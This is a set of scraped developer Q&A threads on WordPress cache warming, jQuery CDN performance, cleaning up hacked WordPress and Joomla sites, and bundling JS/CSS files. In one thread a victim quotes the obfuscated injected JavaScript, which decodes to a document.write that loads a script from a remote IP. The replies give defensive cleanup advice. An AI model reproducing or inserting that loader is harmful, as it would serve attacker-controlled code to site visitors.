I have one website made with Wordpress. I installed the plugin "cache quick" in order to optimize it.
Now it loads faster.
But I have the little issue, which is:
I make little changes and upload to the production environment.
I clean cache
Now when each page, post, of Wordpress is visited for the first time, it loads very slowly (is the first time)
Then, I try to visit all the links of the website to cache them, and so serve the users quickly, with latest changes.
I have thought to make a script to do this for me :-)
Anyone can help me, please?
One of the methods to rebuild a cache is to write a crawler commandline script. It will read all URL's from your database and then uses curl to hit them. You can have this script have intervals between hits to save server capacity as well as have it cronned as to run every hour or so.
If you prefer doing it manually you can create a plugin that reads all url's and hits them each after each other. Functionality in fact is the same.
(I would write this in a comment, unfortunately I don't have enough reputation.)
If I understand correctly you want to visit your main page and all pages 'below' in the hierarchy.
Then assuming you have some unixoid system available I would suggest you use something like this on the command line:
wget -R -np http://www.yoursite.com
Read the man pages of wget to see what those flags do and which flags you actually need. You can also follow links in your domain and stuff like that.
If you want to do this on a regular timebasis you can use cron. And maybe after downloading everything you should rm all the stuff you downloaded.
You may try some grabber and after that take a look that your cache is build or not.
you may use http://www.httrack.com/ this will request all links on your website.
I hope this helps.
Related
A total newbie. This seems like a basic question, but one that I can't find the answer to:
I have a few lines of JQuery to show and hide a responsive menu on half-a-dozen pages. I understand I need to "link" to the JQ library:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
Will this slow my site down? Will a visitor have to download the whole JQ library for my two lines of code to work? if this is the case I might revert back to Javascript.
Loading a script file is never free, so you have to decide whether it's worth it for the functionality provided.
Once you've decided to do it (if you do), the question is whether to use a CDN or host it locally.
Pros of a CDN:
It may already be in browser cache because the same file is used elsewhere.
CDNs use edge-casting, highly-optimized servers and server configurations, etc. to make delivery as fast as possible. While it may be possible for you to have a server that's just as fast, it's quite likely that you don't.
Const of a CDN:
If the CDN is down, the link doesn't work even though your site is up and running.
It's not under your control.
Generally, yes. There are certain conditions which can affect the download speed, like content blocking, cache and async.
We can caluculate how long it will take to download a file if we know the internet connection speed and the file size.
That minified jquery CDN file is 84.8 KB.
And the average global internet connection speed is around 7.2 Mbps.
So...
It will take about 78.45 ms to download a file of that size.
Depending on what you think is a site slowdown. Are some miliseconds a huge slowdown?
You can speed up the process slightly by having the jQuery library on your own server (eliminates the need for extra request to the google CDN => saves time). Another thing to speed up the process would be to use the SLIM and minified CDN versions of jQuery.
Now if you have only 2 lines of code, there might not be a particular need to just include jQuery for that (again think longterm), but think if in the future you would use jQuery for more things.
In the end the including of just jQuery will not slow down your response times that much (max of a couple of miliseconds).
Hope this helps!
The CDN network will not slow down your webpage since you are trying to get the minified file. Even if you use the offline file, it will still take some time to load from the storage. Since you are developing a web site/web application, your app should be connected to network. If you are not showing any jquery content when the page first loads, you can make it to load in the background by adding async attribute to the script tag.
You can check how much time this file takes to load by going to (in Chrome)
developer console -> Network.
It will show list of requests and its time to finish. Different filters are also available. So select All to see all network connections and time for finishing the request.
i have a theme based wordpress website, but since the past few days the website plugins are not working, the reason i found is that the ".js" extension files are being injected with the malicious code
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));
steps taken to avoid it
restricted permissions to write a file.
blocked ftp to be accessed by any other ip than mine.
tried removing the code from entire website.
uploaded the backup files.
but still somehow the code keeps on getting injected in nearly all javascript files
you have to find the file: "db.php" and remove the code infected. At the same time you have to delete all code infected in ".js" files. https://www.polaris64.net/blog/cyber-security/2017/wordpress-hacks-jquery-js-script-injection
Right off, I think your backup may be corrupt. I don't know if it pre-dates your infection, but it is something to check. Also, try disabling/deleting plugins -- one could be vulnerable or infected. Look at the db.php and your .js files for infected code and remove it.
If your backup is bad, you'll have to go thru all the code to find the bad bits and remove them. Or, if you can take the time and have clean source content you could wipe the whole thing out and start over. It's a horrible thought, but sometimes that's the fix.
I just upgraded to WP 4.3.1 on one of my websites. After upgrade (which seemed to go with no problems at all), I noticed that the layout of my pages has changed. There is a bar across the top of my page (not the admin bar) that wasn't there before. When I inspect the element there, I see a whole bunch of new code that is not being created by any of my plugins. And I cannot find the source of this injection in any of the provided php files. I have no idea where it is coming from, but I suspect that something in the WP 4.3.1 package has been compromised, or maybe there is a callout to a site somewhere that injects this code.
Anyway, this is a BIG problem and I don't know how to fix it.
I've copied the injected injected code below. It appears in all the pages on my site, right below the tag. Interestingly it can only be seen by "inspecting element" in the browser; page source does not reveal it (I've added some line breaks to make it more readable, but this is exactly what shows up in my page.
This same problem occurs on every site where I upgrade to WP 4.3.1. I hope someone can fix this problem IMMEDIATELY!!
Clearing cache, history & cookies doesn't resolve the problem. I can't tell where this injected code is coming from. Also, Google doesn't seem to be much help in telling me anything useful about http://kfc.i.illuminationes.com/snitch, which is one of the links that is being created.
Our site was infected, this is what we did to get rid of it
Thanks to this discussion which led me to a more detailed one
Connect via ssh to the server
Check the directory structure and find out recently created / modified directories
Check recently modified files for <script>. I found many files having JavaScript inserted which would connect to external sites.
As these calls were made on each page, I checked header.php in wp-content/themes/your-theme directory. (check the ones you are not using as well as that might be infected but may not show in radar)
You might also want to check footer.php for infection.
Re check file permissions on server as per WordPress Hardening guidelines on Codex
Delete unrequired ftp accounts in FileZilla (or its equivalent)
If you use any caching, delete entire cache.
You can verify if this worked using devtools network tab.
Today I found foreign JavaScript on my homepage along with a backlink to a website I don't recognize (although the backlink is not visible when viewing my homepage, they have positioned it somehow so that it is hidden but search engines still find it).
I was wondering how my Joomla website managed to become compromised? Is there any possibility you can think of? How can I protect my website from this attack in the future?
First of all which version of joomla are you using.?
There is some possibilities to hack the Joomla Version of 1.5.23 or some similar version hacked and some bad script attached in all js files or may be some rewrite url condition in your .htaccess file.
the best option to prevent the problem is Update your Joomla Version and change your admin and FTP Password.
There could be a number of reasons, a few things to check:
Are you on a shared server? Is it secure?
Has someone compromised your password?
Is your version of Joomla up to date?
Are you running any other PHP apps on your web server? Are they secure?
Just because Joomla appears to have been affected doesn't mean that it was necessarily the entry point for the compromise - check everything. Make sure you keep your software up to date. Disable anything you don't require to run your website. Use .htaccess to protect files and folders. Make sure your own computer is as secure as possible and patched and up to date. Make sure you are using the latest version of PHP.
Good luck.
I don't know HOW, but if you wanna eliminate it is probably it is in the index.php file, check there.
website root/templates/yourtemplate/index.php
Installed joomla extension (plugins, module, component and template) may also contain file which will be very unsafe and may perform dangerous file activity like updating, renaming, deleting and creating the file on your site.
So my suggestion is read the joomla forum and manage the permission of your file according to that.
Multiple sites reference combining JavaScript and CSS files to improve web page performance, including examples of using ANT build scripts to concatenate the files prior to deployment.
I've search, and haven't found any information how to automate updating references to those files in HTML and other documents. I am looking to avoid hacking together something error prone, and want to learn from others who have automated builds in the past.
Are there automated tools in the wild to complete this task that I'm not seeing? Are there recommended processes to update the script and link tags in HTML? Can these solutions be integrated with ANT or similar build tools?
There sure is and it's a smart thing to do.
I found a PHP solution, don't know it that's okay for you, but if it isn't you can still read it's source (it's not difficult) and learn a lot. The solution works like this:
Rewrite your requests like this: from css/main.css and css/skin.css to css/main.css,skin.css (of course you can put many more).
Use apache's mod_rewrite to redirect this request to a script (in our case combine.php), that will combine all files to a single one.
The script combines all the files and sends the combined file. Then it saves it to a cache folder.
Next time around it checks if there is an up-to-date version of the cache and serves that one. If the latest file modification time has changed, it discards the cache.
The solution works great and it even makes use of HTTP cache headers and spits out an [ETags], which you should do anyway.
You are correct this is a great way to speed up page loading. It will even work in conjunction with a CDN, which the other poster recommended.
Here is a small script that will pack multiple files in to one for deployment. It supports both JS and CSS, and will even "minify" them by removing whitespace, etc. Just hook this in to your build and deploy scripts.
juicer: http://cjohansen.no/en/ruby/juicer_a_css_and_javascript_packaging_tool
What even better, it will follow JS and CSS import statements, so you only need to point your HTML files to the loader file and it will work in both development and production. (Assuming you replace the loader file with the combined file on deployment.)
There are others, including some run-time solutions. But it sounds like you have a build process in place anyway.
As far as HTML updating, if you still need it, since automated deployments are very popular in the Ruby world, and you may find some standalone utilities to help even for non-ruby projects. (As above) Methinks this would be best handled by your own project's template language, though. (With a static resource revision id, or such.)
Good luck, and let us know what you find.
I think what you really want is a CDN Content Delivery Network.
Read about it here
http://developer.yahoo.com/performance/rules.html
http://en.wikipedia.org/wiki/Content_delivery_network